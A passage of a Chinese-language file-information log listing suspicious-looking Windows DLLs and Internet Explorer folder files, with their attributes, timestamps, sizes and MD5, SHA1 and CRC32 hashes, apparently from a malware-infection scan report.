大小 : 28672 字节 28.0 KB
MD5 : e3139471897dbe05f6026fbdcb54739a
SHA1: 0BDDB94208D3378B1ADEB0F2F19433231D98EBBE
CRC32: 29f5bee0

 

文件说明符 : C:/WINDOWS/system32/mssetd.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:15:49
修改时间 : 2000-1-1 0:15:50
访问时间 : 2000-1-2 0:0:0
大小 : 36864 字节 36.0 KB
MD5 : ec81e35c01f353750c5d026bb5c528c2
SHA1: CB4B5C9E44A8BB67A0703C3A8E974BF357558148
CRC32: 33d2d1ee

 

文件说明符 : C:/WINDOWS/system32/longasus.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:15:50
修改时间 : 2000-1-1 0:15:52
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : be719d88233b648721debefd75dbf8a8
SHA1: CDEEB133F1BA2EF9AD6608016527ED7A972A6EB7
CRC32: 6a5e1a4f

 

文件说明符 : C:/WINDOWS/system32/DFEC5CB7.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:14:37
修改时间 : 2000-1-1 0:16:2
访问时间 : 2000-1-2 0:0:0
大小 : 11807 字节 11.543 KB
MD5 : df834ee11bc2548332e2bda6e78141f6
SHA1: B20EF01D4C31EE65322358493397C69C7AABF48D
CRC32: 0de0dd66

 

文件说明符 : C:/WINDOWS/system32/ddserh.dll
属性 : A-H-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:15:21
修改时间 : 2000-1-1 0:16:4
访问时间 : 2000-1-2 0:0:0
大小 : 272384 字节 266.0 KB
MD5 : 1fca1299dc4e10e9a8a91d3afe472086
SHA1: 261AF2E27C8FBA0F80E27A70516D36496C982DA4
CRC32: aadc9d0a

 

文件说明符 : C:/WINDOWS/system32/2EF0D734.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:15:8
修改时间 : 2000-1-1 0:16:26
访问时间 : 2000-1-2 0:0:0
大小 : 216820 字节 211.756 KB
MD5 : e3d978993b29be1eda9de1a3223112c9
SHA1: 58984F6898E2EEBE24EB8025C8B070B5733CE07D
CRC32: c154877f

 

文件说明符 : C:/WINDOWS/system32/wcnonpe.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:36
修改时间 : 2000-1-1 0:16:38
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : 1e727af2654834139599fd29dcbbb92a
SHA1: CED587D6FC6E534D12EFCC10A7A639E4563FC910
CRC32: 8f7ffee2

文件说明符 : C:/WINDOWS/system32/wdhotem.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:37
修改时间 : 2000-1-1 0:16:38
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : cfb192b1f9326fc47090196ee09926c2
SHA1: 1404E536B9941F65DB53671BBC3CD0454ED12FF5
CRC32: 93269b9b

文件说明符 : C:/WINDOWS/system32/xpsbos.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:15:0
修改时间 : 2000-1-1 0:16:40
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : d5a891d4dc83d97037d186580679c098
SHA1: 55E6236FAB7693E636C29836D660CEE6AC201E06
CRC32: 59067ac8

文件说明符 : C:/WINDOWS/system32/esceps.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:43
修改时间 : 2000-1-1 0:16:44
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 9f25a460d7ad5f67d6b3edd215c005e0
SHA1: 09977659E28842B85435719436F2D8707E391E47
CRC32: 409bd919

 

文件说明符 : C:/WINDOWS/system32/ccohole.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:44
修改时间 : 2000-1-1 0:16:46
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 00ad9567c253b155a304b5c6817c9db7
SHA1: 8EC30BE386DE36BE76A98B7A8A9F0F45F0155E19
CRC32: 9723703f

 

文件说明符 : C:/WINDOWS/system32/pciboxl.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:45
修改时间 : 2000-1-1 0:16:46
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : ad615dd87694dcae17ca8849158b1892
SHA1: 648FD87A94F616F50F7A82A6B1116CBBB7C63526
CRC32: 519ebec5

 

文件说明符 : C:/WINDOWS/system32/woswelc.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:46
修改时间 : 2000-1-1 0:16:48
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 3ff70a123bcbde1c707f38d3592ba577
SHA1: B0693CDBA3AEC3E6FB631F5943ED5F113883C066
CRC32: 0c1b84f3

 

文件说明符 : C:/WINDOWS/system32/manleu.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:47
修改时间 : 2000-1-1 0:16:48
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : 9bd9b3094adcd7ebc952b7ed6d3790d9
SHA1: 9C82188CC89022AD7238AFD2F5607DF08577F2DE
CRC32: 74c3d9c3

 

文件说明符 : C:/WINDOWS/system32/offecao.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:59
修改时间 : 2000-1-1 0:17:0
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : e68f97bf93166501e9f4983f64e135ba
SHA1: 2C538F32AC34BADE6AAB8751531FAE621DB679A7
CRC32: a08c68d6

 

文件说明符 : C:/WINDOWS/system32/baccops.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:49
修改时间 : 2000-1-1 0:17:8
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : 097861169632d45d7640dfb8b144fdc1
SHA1: 23716E835DB341790613CB94600F0C6569DCE422
CRC32: cc25620e

 

文件说明符 : C:/WINDOWS/system32/cmonos.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:17:8
修改时间 : 2000-1-1 0:17:10
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : ab297c3cbd8afce953db49eee81fde6e
SHA1: 53F05F789BE400EA081693FAC0C4B40DEE680A32
CRC32: 0995b4ce

 

文件说明符 : C:/WINDOWS/system32/keyiftp.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:17:17
修改时间 : 2000-1-1 0:17:18
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 33ded76c7888ce40b364b604a7f674a6
SHA1: 78CD1B7735FF891FDCDB8DB5DF0911E646DFF9AC
CRC32: 4a31350f

 

文件说明符 : C:/WINDOWS/system32/joasuse.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:17:18
修改时间 : 2000-1-1 0:17:20
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : 1192d4c8a272125bddcc2b8c33e7cc1d
SHA1: EEA8A44AFE1DD4A2E8B404899F522130A82C676E
CRC32: 30aacc21

 

文件说明符 : C:/WINDOWS/system32/crtnumo.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:17:22
修改时间 : 2000-1-1 0:17:24
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 572286ce658490e7eae0fd4b79252a8c
SHA1: BB6DFB70A30346F8D66C76101B16950342C46E2F
CRC32: 35f6ffc8

 

文件说明符 : C:/Program Files/Internet Explorer/UnnxeMe.Jmp
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:31:6
修改时间 : 2000-1-1 0:52:0
访问时间 : 2000-1-2 0:0:0
大小 : 31854 字节 31.110 KB
MD5 : 33045817f13b98c2386e53ee230f803a
SHA1: C0BB54CC7D2C4D949513F7AEF3342BA54BD97EEE
CRC32: ffd7a56c

 

文件说明符 : C:/Program Files/Internet Explorer/Ve34267Nt.mid
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 5:49:33
修改时间 : 2000-1-1 5:49:34
访问时间 : 2000-1-2 0:0:0
大小 : 24714 字节 24.138 KB
MD5 : 258c9f3f8546f815d090dc62a357fe89
SHA1: E3D9E499FB723A0BE80A79E766192D89225C5F57
CRC32: 435569e1

 

文件说明符 : C:/Program Files/Internet Explorer/Vv54321t.321
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 5:49:33
修改时间 : 2000-1-1 5:49:34
访问时间 : 2000-1-2 0:0:0
大小 : 32394 字节 31.650 KB
MD5 : 92786890b4c8f4e636c92ef447a80651
SHA1: 6E5C717771FA87B790C197A0F0A20C2E850CE551
CRC32: 4f91d543